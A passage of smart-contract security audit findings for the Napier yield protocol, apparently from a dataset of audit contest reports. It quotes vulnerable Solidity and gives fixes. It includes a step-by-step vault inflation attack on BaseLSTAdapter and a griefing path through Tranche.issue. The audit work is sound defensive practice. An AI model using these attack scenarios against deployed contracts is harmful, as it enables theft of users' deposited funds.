discrepancy between the value of the LP tokens in the Napier AMM pool and Curve pool might result in various issues, such as the following:\\nInvestors brought LP tokens at the price of 3.X PT from the market. The LP tokens are deposited into or swap into the Napier AMM pool. The Naiper Pool will always assume that the price of the LP token is 3 PTs, thus shortchanging the number of assets or PTs returned to users.\\nPotential arbitrage opportunity where malicious users obtain the LP token from the Naiper AMM pool at a value of 3 PT and redeem the LP token at a value higher than 3 PTs, pocketing the differences.
Naiper and Pendle share the same core math for their AMM pool.\\nIn Pendle, the AMM stores the PTs and SY (Standard Yield Token). When performing any operation (e.g., deposit, swap), the SY will be converted to the underlying assets based on SY's current rate before performing any math operation. If it is a SY (wstETH), the SY's rate will be the current exchange rate for wstETH to stETH/ETH. One could also think the AMM's reserve is PTs and Underlying Assets under the hood.\\nIn Napier, the AMM stores the PTs and Curve's LP tokens. When performing any operation, the math will always convert the LP token to underlying assets using a static exchange rate of 3. However, this is incorrect, as the value of an LP token will grow over time. The AMM should value the LP tokens based on their current value. The virtual price of the LP token and other information can be leveraged to derive the current value of the LP tokens to facilitate the math operation within the pool.
Users of the AMM pool might receive fewer assets/PTs than expected. The AMM pool might be unfairly arbitraged, resulting in a loss for the pool's LPs.
```\\nFile: PoolMath.sol\\n int256 internal constant N_COINS = 3;\\n..SNIP..\\n function swapExactBaseLpTokenForUnderlying(PoolState memory pool, uint256 exactBaseLptIn)\\n internal\\n..SNIP..\\n // Note: Here we are multiplying by N_COINS because the swap formula is defined in terms of the amount of PT being swapped.\\n // BaseLpt is equivalent to 3 times the amount of PT due to the initial deposit of 1:1:1:1=pt1:pt2:pt3:Lp share in Curve pool.\\n exactBaseLptIn.neg() * N_COINS\\n..SNIP..\\n function swapUnderlyingForExactBaseLpToken(PoolState memory pool, uint256 exactBaseLptOut)\\n..SNIP..\\n (int256 _netUnderlyingToAccount18, int256 _netUnderlyingFee18, int256 _netUnderlyingToProtocol18) = executeSwap(\\n pool,\\n // Note: sign is defined from the perspective of the swapper.\\n // positive because the swapper is buying pt\\n exactBaseLptOut.toInt256() * N_COINS\\n```\\n
Victim's fund can be stolen due to rounding error and exchange rate manipulation
high
Victim's funds can be stolen by malicious users by exploiting the rounding error and through exchange rate manipulation.\\nThe LST Adaptor attempts to guard against the well-known vault inflation attack by reverting the TX when the amount of shares minted is rounded down to zero in Line 78 below.\\n```\\nFile: BaseLSTAdapter.sol\\n function prefundedDeposit() external nonReentrant returns (uint256, uint256) {\\n uint256 bufferEthCache = bufferEth; // cache storage reads\\n uint256 queueEthCache = withdrawalQueueEth; // cache storage reads\\n uint256 assets = IWETH9(WETH).balanceOf(address(this)) - bufferEthCache; // amount of WETH deposited at this time\\n uint256 shares = previewDeposit(assets);\\n\\n if (assets == 0) return (0, 0);\\n if (shares == 0) revert ZeroShares();\\n```\\n\\nHowever, this control alone is not sufficient to guard against vault inflation attacks.\\nLet's assume the following scenario (ignoring fee for simplicity's sake):\\nThe victim initiates a transaction that deposits 10 ETH as the underlying asset when there are no issued estETH shares.\\nThe attacker observes the victim's transaction and deposits 1 wei of ETH (issuing 1 wei of estETH share) before the victim's transaction. 1 wei of estETH share worth of PT and TY will be minted to the attacker.\\nThen, the attacker executes a transaction to directly transfer 5 stETH to the adaptor. The exchange rate at this point is `1 wei / (5 ETH + 1 wei)`. Note that the `totalAssets` function uses the `balanceOf` function to compute the total underlying assets owned by the adaptor. Thus, this direct transfer will increase the total assets amount.\\nWhen the victim's transaction is executed, the number of estETH shares issued is calculated as 10 ETH * `1 wei / (5 ETH + 1 wei)`, resulting in 1 wei being issued due to round-down.\\nThe attacker will combine the PT + YT obtained earlier to redeem 1 wei of estETH share from the adaptor.\\nThe attacker, holding 50% of the issued estETH shares (indirectly via the PT+YT he owned), receives `(15 ETH + 1 wei) / 2` as the underlying asset.\\nThe attacker seizes 25% of the underlying asset (2.5 ETH) deposited by the victim.\\nThis scenario demonstrates that even when a revert is triggered due to the number of issued estETH share being 0, it does not prevent the attacker from capturing the user's funds through exchange rate manipulation.
Following are some of the measures that could help to prevent such an attack:\\nMint a certain amount of shares to zero address (dead address) during contract deployment (similar to what has been implemented in Uniswap V2)\\nAvoid using the `balanceOf` so that malicious users cannot transfer directly to the contract to increase the assets per share. Track the total assets internally via a variable.
Loss of assets for the victim.
```\\nFile: BaseLSTAdapter.sol\\n function prefundedDeposit() external nonReentrant returns (uint256, uint256) {\\n uint256 bufferEthCache = bufferEth; // cache storage reads\\n uint256 queueEthCache = withdrawalQueueEth; // cache storage reads\\n uint256 assets = IWETH9(WETH).balanceOf(address(this)) - bufferEthCache; // amount of WETH deposited at this time\\n uint256 shares = previewDeposit(assets);\\n\\n if (assets == 0) return (0, 0);\\n if (shares == 0) revert ZeroShares();\\n```\\n
Anyone can convert someone's unclaimed yield to PT + YT
medium
Anyone can convert someone's unclaimed yield to PT + YT, leading to a loss of assets for the victim.\\nAssume that Alice has accumulated 100 Target Tokens in her account's unclaimed yields. She is only interested in holding the Target token (e.g., she is might be long Target token). She intends to collect those Target Tokens sometime later.\\nBob could disrupt Alice's plan by calling `issue` function with the parameter (to=Alice, underlyingAmount=0). The function will convert all 100 Target Tokens stored within Alice's account's unclaimed yield to PT + YT and send them to her, which Alice does not want or need in the first place.\\nLine 196 below will clear Alice's entire unclaimed yield before computing the accrued interest at Line 203. The accrued interest will be used to mint the PT and YT (Refer to Line 217 and Line 224 below).\\n```\\nFile: Tranche.sol\\n function issue(\\n address to,\\n uint256 underlyingAmount\\n ) external nonReentrant whenNotPaused notExpired returns (uint256 issued) {\\n..SNIP..\\n lscales[to] = _maxscale;\\n delete unclaimedYields[to];\\n\\n uint256 yBal = _yt.balanceOf(to);\\n // If recipient has unclaimed interest, claim it and then reinvest it to issue more PT and YT.\\n // Reminder: lscale is the last scale when the YT balance of the user was updated.\\n if (_lscale != 0) {\\n accruedInTarget += _computeAccruedInterestInTarget(_maxscale, _lscale, yBal);\\n }\\n..SNIP..\\n uint256 sharesUsed = sharesMinted + accruedInTarget;\\n uint256 fee = sharesUsed.mulDivUp(issuanceFeeBps, MAX_BPS);\\n issued = (sharesUsed - fee).mulWadDown(_maxscale);\\n\\n // Accumulate issueance fee in units of target token\\n issuanceFees += fee;\\n // Mint PT and YT to user\\n _mint(to, issued);\\n _yt.mint(to, issued);\\n```\\n\\nThe market value of the PT + YT might be lower than the market value of the Target Token. In this case, Alice will lose due to Bob's malicious action.\\nAnother `issue` is that when Bob calls `issue` function on behalf of Alice's account, the unclaimed target tokens will be subjected to the issuance fee (See Line 218 above). Thus, even if the market value of PT + YT is exactly the same as that of the Target Token, Alice is still guaranteed to suffer a loss from Bob's malicious action.\\nIf Alice had collected the unclaimed yield via the collect function, she would have received the total value of the yield in the underlying asset terms, as a collection of yield is not subjected to any fee.
Consider not allowing anyone to issue PY+YT on behalf of someone's account.
Loss of assets for the victim.
```\\nFile: Tranche.sol\\n function issue(\\n address to,\\n uint256 underlyingAmount\\n ) external nonReentrant whenNotPaused notExpired returns (uint256 issued) {\\n..SNIP..\\n lscales[to] = _maxscale;\\n delete unclaimedYields[to];\\n\\n uint256 yBal = _yt.balanceOf(to);\\n // If recipient has unclaimed interest, claim it and then reinvest it to issue more PT and YT.\\n // Reminder: lscale is the last scale when the YT balance of the user was updated.\\n if (_lscale != 0) {\\n accruedInTarget += _computeAccruedInterestInTarget(_maxscale, _lscale, yBal);\\n }\\n..SNIP..\\n uint256 sharesUsed = sharesMinted + accruedInTarget;\\n uint256 fee = sharesUsed.mulDivUp(issuanceFeeBps, MAX_BPS);\\n issued = (sharesUsed - fee).mulWadDown(_maxscale);\\n\\n // Accumulate issueance fee in units of target token\\n issuanceFees += fee;\\n // Mint PT and YT to user\\n _mint(to, issued);\\n _yt.mint(to, issued);\\n```\\n
`withdraw` function does not comply with ERC5095
medium
The `withdraw` function of Tranche/PT does not comply with ERC5095 as it does not return the exact amount of underlying assets requested by the users.\\nQ: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of? EIP20 and IERC5095\\nFollowing is the specification of the `withdraw` function of ERC5095. It stated that the user must receive exactly `underlyingAmount` of underlying tokens.\\nwithdraw Burns principalAmount from holder and sends exactly underlyingAmount of underlying tokens to receiver.\\nHowever, the `withdraw` function does not comply with this requirement.\\nOn a high-level, the reason is that Line 337 will compute the number of shares that need to be redeemed to receive `underlyingAmount` number of underlying tokens from the adaptor. The main problem here is that the division done here is rounded down. Thus, the `sharesRedeem` will be lower than expected. Consequently, when `sharesRedeem` number of shares are redeemed at Line 346 below, the users will not receive an exact number of `underlyingAmount` of underlying tokens.\\n```\\nFile: Tranche.sol\\n function withdraw(\\n uint256 underlyingAmount,\\n address to,\\n address from\\n ) external override nonReentrant expired returns (uint256) {\\n GlobalScales memory _gscales = gscales;\\n uint256 cscale = _updateGlobalScalesCache(_gscales);\\n\\n // Compute the shares to be redeemed\\n uint256 sharesRedeem = underlyingAmount.divWadDown(cscale);\\n uint256 principalAmount = _computePrincipalTokenRedeemed(_gscales, sharesRedeem);\\n\\n // Update the global scales\\n gscales = _gscales;\\n // Burn PT tokens from `from`\\n _burnFrom(from, principalAmount);\\n // Withdraw underlying tokens from the adapter and transfer them to `to`\\n _target.safeTransfer(address(adapter), sharesRedeem);\\n (uint256 underlyingWithdrawn, ) = adapter.prefundedRedeem(to);\\n```\\n
Update the `withdraw` function to send exactly `underlyingAmount` number of underlying tokens to the caller so that the Tranche will be aligned with the ERC5095 specification.
The tranche/PT does not align with the ERC5095 specification.
```\\nFile: Tranche.sol\\n function withdraw(\\n uint256 underlyingAmount,\\n address to,\\n address from\\n ) external override nonReentrant expired returns (uint256) {\\n GlobalScales memory _gscales = gscales;\\n uint256 cscale = _updateGlobalScalesCache(_gscales);\\n\\n // Compute the shares to be redeemed\\n uint256 sharesRedeem = underlyingAmount.divWadDown(cscale);\\n uint256 principalAmount = _computePrincipalTokenRedeemed(_gscales, sharesRedeem);\\n\\n // Update the global scales\\n gscales = _gscales;\\n // Burn PT tokens from `from`\\n _burnFrom(from, principalAmount);\\n // Withdraw underlying tokens from the adapter and transfer them to `to`\\n _target.safeTransfer(address(adapter), sharesRedeem);\\n (uint256 underlyingWithdrawn, ) = adapter.prefundedRedeem(to);\\n```\\n